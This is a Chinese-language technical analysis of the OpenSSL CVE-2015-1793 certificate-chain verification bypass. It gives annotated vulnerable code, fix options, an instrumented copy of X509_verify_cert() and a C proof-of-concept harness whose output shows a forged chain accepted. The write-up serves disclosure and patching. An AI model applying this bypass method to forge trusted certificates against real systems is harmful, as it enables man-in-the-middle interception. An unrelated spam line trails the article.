<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/papers/7073

                    0x00 前言


                    OpenSSL官方在7月9日發布了編號為 CVE-2015-1793 的交叉證書驗證繞過漏洞,其中主要影響了OpenSSL的1.0.1和1.0.2分支。1.0.0和0.9.8分支不受影響。

                    360安全研究員au2o3t對該漏洞進行了原理上的分析,確認是一個繞過交叉鏈類型證書驗證的高危漏洞,可以讓攻擊者構造證書來繞過交叉驗證,用來形成諸如“中間人”等形式的攻擊。

                    0x01 漏洞基本原理


                    直接看最簡單的利用方法(利用方法包括但不限于此):

                    攻擊者從一公共可信的 CA (C)處簽得一證書 X,并以此證書簽發另一證書 V(含對X的交叉引用),那么攻擊者發出的證書鏈 V, R (R為任意證書)對信任 C 的用戶將是可信的。

                    顯然用戶對 V, R 鏈的驗證會返回失敗。

                    對不支持交叉鏈認證的老版本來說,驗證過程將以失敗結束。

                    對支持交叉認證的版本,則將會嘗試構建交叉鏈 V, X, C,并繼續進行驗證。

                    雖然 V, X, C 鏈能通過可信認證,但會因 X 的用法不包括 CA 而導致驗證失敗。

                    但在 openssl-1.0.2c 版本,因在對交叉鏈的處理中,對最后一個不可信證書位置計數的錯誤,導致本應對 V, X 記為不可信并驗證,錯記為了僅對 V 做驗證,而沒有驗證攻擊者的證書 X,返回驗證成功。

                    0x02 具體漏洞分析


                    漏洞代碼位于文件:openssl-1.0.2c/crypto/x509/x509_vfy.c

                    函數:X509_verify_cert()

                    第 392 行:ctx->last_untrusted–;

                    對問題函數 X509_verify_cert 的簡單分析:

                    ( 為方便閱讀,僅保留與證書驗證強相關的代碼,去掉了諸如變量定義、錯誤處理、資源釋放等非主要代碼)

                    問題在于由 <1> 處加入頒發者時及 <2> 處驗證(頒發者)后,證書鏈計數增加,但 最后一個不可信證書位置計數 并未增加, 而在 <4> 處去除過程中 最后一個不可信證書位置計數 額外減少了,導致后面驗證過程中少驗。

                    (上述 V, X, C 鏈中應驗 V, X 但少驗了 X

                    代碼分析如下

                    #!c++
                    int X509_verify_cert(X509_STORE_CTX *ctx)
                    {
                        // 將 ctx->cert 做為不信任證書壓入需驗證鏈  ctx->chain
                        // STACK_OF(X509) *chain 將被構造為證書鏈,并最終送到 internal_verify() 中去驗證
                        sk_X509_push(ctx->chain,ctx->cert); 
                        // 當前鏈長度(==1)
                        num = sk_X509_num(ctx->chain);
                         // 取出第 num 個證書
                        x = sk_X509_value(ctx->chain, num - 1);
                         // 存在不信任鏈則復制之
                        if (ctx->untrusted != NULL
                            && (sktmp = sk_X509_dup(ctx->untrusted)) == NULL) {
                            X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
                             goto end;
                        }
                         // 預設定的最大鏈深度(100)
                        depth = param->depth;
                        // 構造需驗證證書鏈
                        for (;;) {
                            // 超長退出
                            if (depth < num)
                                break;
                            // 遇自簽退出(鏈頂)
                            if (cert_self_signed(x))
                                break;
                             if (ctx->untrusted != NULL) {
                                xtmp = find_issuer(ctx, sktmp, x);
                                // 當前證書為不信任頒發者(應需CA標志)頒發
                                if (xtmp != NULL) {
                                    // 則加入需驗證鏈
                                    if (!sk_X509_push(ctx->chain, xtmp)) {
                                        X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
                                        goto end;
                                    }
                                    CRYPTO_add(&xtmp->references, 1, CRYPTO_LOCK_X509);
                                    (void)sk_X509_delete_ptr(sktmp, xtmp);
                                    // 最后一個不可信證書位置計數 自增1
                                    ctx->last_untrusted++;
                                    x = xtmp;
                                    num++;
                                    continue;
                                }
                            }
                            break;
                        }
                        do {
                            i = sk_X509_num(ctx->chain);
                            x = sk_X509_value(ctx->chain, i - 1);
                            // 若最頂證書是自簽的
                            if (cert_self_signed(x)) {
                                // 若需驗證鏈長度 == 1
                                if (sk_X509_num(ctx->chain) == 1) {
                                    // 在可信鏈中查找其頒發者(找自己)
                                    ok = ctx->get_issuer(&xtmp, ctx, x);
                    
                                   // 沒找到或不是相同證書
                                    if ((ok <= 0) || X509_cmp(x, xtmp)) {
                                        ctx->error = X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT;
                                        ctx->current_cert = x;
                                        ctx->error_depth = i - 1;
                                        if (ok == 1)
                                            X509_free(xtmp);
                                        bad_chain = 1;
                                        ok = cb(0, ctx);
                                        if (!ok)
                                            goto end;
                                    // 找到
                                    } else {
                                        X509_free(x);
                                        x = xtmp;
                                        // 入到可信鏈
                                        (void)sk_X509_set(ctx->chain, i - 1, x);
                                        // 最后一個不可信證書位置計數 置0
                                        ctx->last_untrusted = 0;
                                    }
                                // 最頂為自簽證書 且 證書鏈長度>1
                                } else {
                                    // 彈出
                                    chain_ss = sk_X509_pop(ctx->chain);
                                    // 最后一個不可信證書位置計數 自減
                                    ctx->last_untrusted--;
                                    num--;
                                    j--;
                                    // 保持指向當前最頂證書
                                    x = sk_X509_value(ctx->chain, num - 1);
                                }
                            }
                            // <1>
                            // 繼續構造證書鏈(加入頒發者)
                            for (;;) {
                                // 自簽退出
                                if (cert_self_signed(x))
                                    break;
                                // 在可信鏈中查找其頒發者
                                ok = ctx->get_issuer(&xtmp, ctx, x);
                                // 出錯
                                if (ok < 0)
                                    return ok;
                                // 沒找到
                                if (ok == 0)
                                     break;
                                x = xtmp;
                                // 將不可信證書的頒發者(證書)加入需驗證證書鏈
                                if (!sk_X509_push(ctx->chain, x)) {
                                    X509_free(xtmp);
                                    X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
                                    return 0;
                                }
                                num++;
                            }
                            // <2>
                            // 驗證 for(;;) 中加入的頒發者鏈
                            i = check_trust(ctx);
                            if (i == X509_TRUST_REJECTED)
                                goto end;
                            retry = 0;
                             // <3>
                            // 檢查交叉鏈
                            if (i != X509_TRUST_TRUSTED
                                && !(ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST)
                                && !(ctx->param->flags & X509_V_FLAG_NO_ALT_CHAINS)) {
                                while (j-- > 1) {
                                    xtmp2 = sk_X509_value(ctx->chain, j - 1);
                                     // 其實得到一個“看似合理”的證書就返回,這里實際上僅僅根據 CN域 查找頒發者
                                    ok = ctx->get_issuer(&xtmp, ctx, xtmp2);
                                    if (ok < 0)
                                        goto end;
                                    // 存在交叉鏈
                                    if (ok > 0) {
                                        X509_free(xtmp);
                    
                                        // 去除交叉鏈以上部分
                                        while (num > j) {
                                            xtmp = sk_X509_pop(ctx->chain);
                                            X509_free(xtmp);
                                            num--;
                                            // <4>
                                            // 問題所在
                                            ctx->last_untrusted--;
                                        }
                                        // <5>
                                        retry = 1;
                                        break;
                                    }
                                }
                            }
                        } while (retry);
                        ……
                    }
                    

                    官方的解決方法是在 <5> 處重新計算 最后一個不可信證書位置計數 的值為鏈長:

                    ctx->last_untrusted = sk_X509_num(ctx->chain);
                    

                    并去掉 <4> 處的 最后一個不可信證書位置計數 自減運算(其實去不去掉都無所謂)。 另一個解決辦法可以是在 <1> <2> 后,在 <3> 處重置 最后一個不可信證書位置計數,加一行:

                    ctx->last_untrusted = num;
                    

                    這樣 <4> 處不用刪除,而邏輯也是合理并前后一致的。

                    0x03 漏洞驗證


                    筆者修改了部分代碼并做了個Poc 。 修改代碼:

                    #!c++
                    int X509_verify_cert(X509_STORE_CTX *ctx)
                    {
                        X509 *x, *xtmp, *xtmp2, *chain_ss = NULL;
                        int bad_chain = 0;
                        X509_VERIFY_PARAM *param = ctx->param;
                        int depth, i, ok = 0;
                        int num, j, retry;
                        int (*cb) (int xok, X509_STORE_CTX *xctx);
                        STACK_OF(X509) *sktmp = NULL;
                        if (ctx->cert == NULL) {
                            X509err(X509_F_X509_VERIFY_CERT, X509_R_NO_CERT_SET_FOR_US_TO_VERIFY);
                            return -1;
                        }
                    
                        cb = ctx->verify_cb;
                    
                        /*
                         * first we make sure the chain we are going to build is present and that
                         * the first entry is in place
                         */
                        if (ctx->chain == NULL) {
                            if (((ctx->chain = sk_X509_new_null()) == NULL) ||
                                (!sk_X509_push(ctx->chain, ctx->cert))) {
                                X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
                                goto end;
                            }
                            CRYPTO_add(&ctx->cert->references, 1, CRYPTO_LOCK_X509);
                            ctx->last_untrusted = 1;
                        }
                    
                        /* We use a temporary STACK so we can chop and hack at it */
                        if (ctx->untrusted != NULL
                            && (sktmp = sk_X509_dup(ctx->untrusted)) == NULL) {
                            X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
                            goto end;
                        }
                    
                        num = sk_X509_num(ctx->chain);
                        x = sk_X509_value(ctx->chain, num - 1);
                        depth = param->depth;
                    
                        for (;;) {
                            /* If we have enough, we break */
                            if (depth < num)
                                break;              /* FIXME: If this happens, we should take
                                                     * note of it and, if appropriate, use the
                                                     * X509_V_ERR_CERT_CHAIN_TOO_LONG error code
                                                     * later. */
                    
                            /* If we are self signed, we break */
                            if (cert_self_signed(x))
                                break;
                    
                            /*
                             * If asked see if we can find issuer in trusted store first
                             */
                            if (ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST) {
                                ok = ctx->get_issuer(&xtmp, ctx, x);
                                if (ok < 0)
                                    return ok;
                                /*
                                 * If successful for now free up cert so it will be picked up
                                 * again later.
                                 */
                                if (ok > 0) {
                                    X509_free(xtmp);
                                    break;
                                }
                            }
                    
                            /* If we were passed a cert chain, use it first */
                            if (ctx->untrusted != NULL) {
                                xtmp = find_issuer(ctx, sktmp, x);
                                if (xtmp != NULL) {
                                    if (!sk_X509_push(ctx->chain, xtmp)) {
                                        X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
                                        goto end;
                                    }
                                    CRYPTO_add(&xtmp->references, 1, CRYPTO_LOCK_X509);
                                    (void)sk_X509_delete_ptr(sktmp, xtmp);
                                    ctx->last_untrusted++;
                                    x = xtmp;
                                    num++;
                                    /*
                                     * reparse the full chain for the next one
                                     */
                                    continue;
                                }
                            }
                            break;
                        }
                    
                        /* Remember how many untrusted certs we have */
                        j = num;
                        /*
                         * at this point, chain should contain a list of untrusted certificates.
                         * We now need to add at least one trusted one, if possible, otherwise we
                         * complain.
                         */
                    
                        do {
                            /*
                             * Examine last certificate in chain and see if it is self signed.
                             */
                            i = sk_X509_num(ctx->chain);
                            x = sk_X509_value(ctx->chain, i - 1);
                            if (cert_self_signed(x)) {
                                /* we have a self signed certificate */
                                if (sk_X509_num(ctx->chain) == 1) {
                                    /*
                                     * We have a single self signed certificate: see if we can
                                     * find it in the store. We must have an exact match to avoid
                                     * possible impersonation.
                                     */
                                    ok = ctx->get_issuer(&xtmp, ctx, x);
                                    if ((ok <= 0) || X509_cmp(x, xtmp)) {
                                        ctx->error = X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT;
                                        ctx->current_cert = x;
                                        ctx->error_depth = i - 1;
                                        if (ok == 1)
                                            X509_free(xtmp);
                                        bad_chain = 1;
                                        ok = cb(0, ctx);
                                        if (!ok)
                                            goto end;
                                    } else {
                                        /*
                                         * We have a match: replace certificate with store
                                         * version so we get any trust settings.
                                         */
                                        X509_free(x);
                                        x = xtmp;
                                        (void)sk_X509_set(ctx->chain, i - 1, x);
                                        ctx->last_untrusted = 0;
                                    }
                                } else {
                                    /*
                                     * extract and save self signed certificate for later use
                                     */
                                    chain_ss = sk_X509_pop(ctx->chain);
                                    ctx->last_untrusted--;
                                    num--;
                                    j--;
                                    x = sk_X509_value(ctx->chain, num - 1);
                                }
                            }
                            /* We now lookup certs from the certificate store */
                            for (;;) {
                                /* If we have enough, we break */
                                if (depth < num)
                                    break;
                                /* If we are self signed, we break */
                                if (cert_self_signed(x))
                                    break;
                                ok = ctx->get_issuer(&xtmp, ctx, x);
                    
                                if (ok < 0)
                                    return ok;
                                if (ok == 0)
                                    break;
                                x = xtmp;
                                if (!sk_X509_push(ctx->chain, x)) {
                                    X509_free(xtmp);
                                    X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
                                    return 0;
                                }
                                num++;
                            }
                    
                            /* we now have our chain, lets check it... */
                            i = check_trust(ctx);
                    
                            /* If explicitly rejected error */
                            if (i == X509_TRUST_REJECTED)
                                goto end;
                    
                            /*
                             * If it's not explicitly trusted then check if there is an alternative
                             * chain that could be used. We only do this if we haven't already
                             * checked via TRUSTED_FIRST and the user hasn't switched off alternate
                             * chain checking
                             */
                            retry = 0;
                    // <1>
                    //ctx->last_untrusted = num;            
                    
                    
                            if (i != X509_TRUST_TRUSTED
                                && !(ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST)
                                && !(ctx->param->flags & X509_V_FLAG_NO_ALT_CHAINS)) {
                                while (j-- > 1) {
                                    xtmp2 = sk_X509_value(ctx->chain, j - 1);
                                    ok = ctx->get_issuer(&xtmp, ctx, xtmp2);
                                    if (ok < 0)
                                        goto end;
                                    /* Check if we found an alternate chain */
                                    if (ok > 0) {
                                        /*
                                         * Free up the found cert we'll add it again later
                                         */
                                        X509_free(xtmp);
                    
                                        /*
                                         * Dump all the certs above this point - we've found an
                                         * alternate chain
                                         */
                                        while (num > j) {
                                            xtmp = sk_X509_pop(ctx->chain);
                                            X509_free(xtmp);
                                            num--;
                                            ctx->last_untrusted--;
                                        }
                                        retry = 1;
                                        break;
                                    }
                                }
                            }
                        } while (retry);
                    
                    printf(" num=%d, real-num=%d\n", ctx->last_untrusted, sk_X509_num(ctx->chain) );
                        /*
                         * If not explicitly trusted then indicate error unless it's a single
                         * self signed certificate in which case we've indicated an error already
                         * and set bad_chain == 1
                         */
                    
                    
                        if (i != X509_TRUST_TRUSTED && !bad_chain) {
                            if ((chain_ss == NULL) || !ctx->check_issued(ctx, x, chain_ss)) {
                                if (ctx->last_untrusted >= num)
                                    ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY;
                                else
                                    ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT;
                                ctx->current_cert = x;
                            } else {
                                sk_X509_push(ctx->chain, chain_ss);
                                num++;
                                ctx->last_untrusted = num;
                                ctx->current_cert = chain_ss;
                                ctx->error = X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN;
                                chain_ss = NULL;
                            }
                    
                            ctx->error_depth = num - 1;
                            bad_chain = 1;
                            ok = cb(0, ctx);
                            if (!ok)
                                goto end;
                        }
                    printf("flag=1\n");
                        /* We have the chain complete: now we need to check its purpose */
                        ok = check_chain_extensions(ctx);
                    
                        if (!ok)
                            goto end;
                    
                    printf("flag=2\n");
                        /* Check name constraints */
                    
                        ok = check_name_constraints(ctx);
                    
                        if (!ok)
                            goto end;
                    printf("flag=3\n");
                        ok = check_id(ctx);
                    
                        if (!ok)
                            goto end;
                    printf("flag=4\n");
                        /* We may as well copy down any DSA parameters that are required */
                        X509_get_pubkey_parameters(NULL, ctx->chain);
                    
                        /*
                         * Check revocation status: we do this after copying parameters because
                         * they may be needed for CRL signature verification.
                         */
                    
                        ok = ctx->check_revocation(ctx);
                        if (!ok)
                            goto end;
                    printf("flag=5\n");
                        i = X509_chain_check_suiteb(&ctx->error_depth, NULL, ctx->chain,
                                                    ctx->param->flags);
                        if (i != X509_V_OK) {
                            ctx->error = i;
                            ctx->current_cert = sk_X509_value(ctx->chain, ctx->error_depth);
                            ok = cb(0, ctx);
                            if (!ok)
                                goto end;
                        }
                    printf("flag=6\n");
                        /* At this point, we have a chain and need to verify it */
                        if (ctx->verify != NULL)
                            ok = ctx->verify(ctx);
                        else
                            ok = internal_verify(ctx);
                        if (!ok)
                            goto end;
                    printf("flag=7\n");
                    #ifndef OPENSSL_NO_RFC3779
                        /* RFC 3779 path validation, now that CRL check has been done */
                        ok = v3_asid_validate_path(ctx);
                        if (!ok)
                            goto end;
                        ok = v3_addr_validate_path(ctx);
                        if (!ok)
                            goto end;
                    #endif
                    
                    printf("flag=8\n");
                        /* If we get this far evaluate policies */
                        if (!bad_chain && (ctx->param->flags & X509_V_FLAG_POLICY_CHECK))
                            ok = ctx->check_policy(ctx);
                        if (!ok)
                            goto end;
                        if (0) {
                     end:
                            X509_get_pubkey_parameters(NULL, ctx->chain);
                        }
                        if (sktmp != NULL)
                            sk_X509_free(sktmp);
                        if (chain_ss != NULL)
                            X509_free(chain_ss);
                    printf("ok=%d\n", ok );        
                        return ok;
                    }
                    
                    Poc:
                    ?
                    //
                    //里頭的證書文件自己去找一個,這個不提供了
                    //
                    #include <stdio.h>
                    #include <openssl/crypto.h>
                    #include <openssl/bio.h>
                    #include <openssl/x509.h>
                    #include <openssl/pem.h>
                    
                    
                    STACK_OF(X509) *load_certs_from_file(const char *file)
                    {
                        STACK_OF(X509) *certs;
                        BIO *bio;
                        X509 *x;
                        bio = BIO_new_file( file, "r");
                        certs = sk_X509_new_null();
                        do
                        {
                            x = PEM_read_bio_X509(bio, NULL, 0, NULL);
                            sk_X509_push(certs, x);
                        }while( x != NULL );
                    
                        return certs;
                    }
                    
                    
                    void test(void)
                    {
                        X509 *x = NULL;
                        STACK_OF(X509) *untrusted = NULL;
                        BIO *bio = NULL;
                        X509_STORE_CTX *sctx = NULL;
                        X509_STORE *store = NULL;
                        X509_LOOKUP *lookup = NULL;
                    
                        store = X509_STORE_new();
                        lookup = X509_STORE_add_lookup( store, X509_LOOKUP_file() );
                        X509_LOOKUP_load_file(lookup, "roots.pem", X509_FILETYPE_PEM);
                        untrusted = load_certs_from_file("untrusted.pem");
                        bio = BIO_new_file("bad.pem", "r");
                        x = PEM_read_bio_X509(bio, NULL, 0, NULL);
                        sctx = X509_STORE_CTX_new();
                        X509_STORE_CTX_init(sctx, store, x, untrusted);
                        X509_verify_cert(sctx);
                    }
                    
                    int main(void)
                    {
                        test();
                        return 0;
                    }
                    

                    將代碼中 X509_verify_cert() 函數加入輸出信息如下: 編譯,以偽造證書測試,程序輸出信息為:

                    num=1, real-num=3
                    flag=1
                    flag=2
                    flag=3
                    flag=4
                    flag=5
                    flag=6
                    flag=7
                    flag=8
                    ok=1
                    

                    認證成功 將 <1> 處注釋代碼去掉,編譯,再以偽造證書測試,程序輸出信息為:

                    num=3, real-num=3
                    flag=1
                    ok=0
                    

                    認證失敗

                    0x04 安全建議


                    建議使用受影響版本(OpenSSL 1.0.2b/1.0.2cOpenSSL 1.0.1n/1.0.1o)的 產品或代碼升級OpenSSL到最新版本

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频